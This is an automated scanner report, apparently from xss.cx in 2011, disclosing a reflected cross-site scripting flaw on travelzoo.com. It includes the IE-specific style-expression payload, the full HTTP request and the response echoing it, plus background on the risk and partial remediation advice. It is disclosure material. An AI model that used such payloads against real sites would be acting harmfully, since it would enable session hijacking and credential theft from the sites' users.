XSS, Cross Site Scripting, travelzoo.com, CWE-79, CAPEC-86

HTML tag attribute which is encapsulated in double quotation marks

Report generated by xss.cx at Wed Mar 16 08:48:00 CDT 2011.

1. Cross-site scripting (reflected)

1. Cross-site scripting (reflected)


Severity:   High
Confidence:   Certain
Host:   http://www.travelzoo.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7029e"style%3d"x%3aexpression(alert(1))"e95ffc19077 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7029e"style="x:expression(alert(1))"e95ffc19077 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


GET /?7029e"style%3d"x%3aexpression(alert(1))"e95ffc19077=1 HTTP/1.1
Host: www.travelzoo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-IP: 70
X-AspNet-Version: 2.0.50727
Content-Language: en-US
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:33:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:33:02 GMT
Connection: close
Content-Length: 85831

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <title>Travel Deals: Airfare, Hotels, Vacations, Cruises | Travelzoo<
<link rel="canonical" href="http://www.travelzoo.com/?7029e"style="x:expression(alert(1))"e95ffc19077=1">

Report generated by xss.cx at Wed Mar 16 08:48:00 CDT 2011.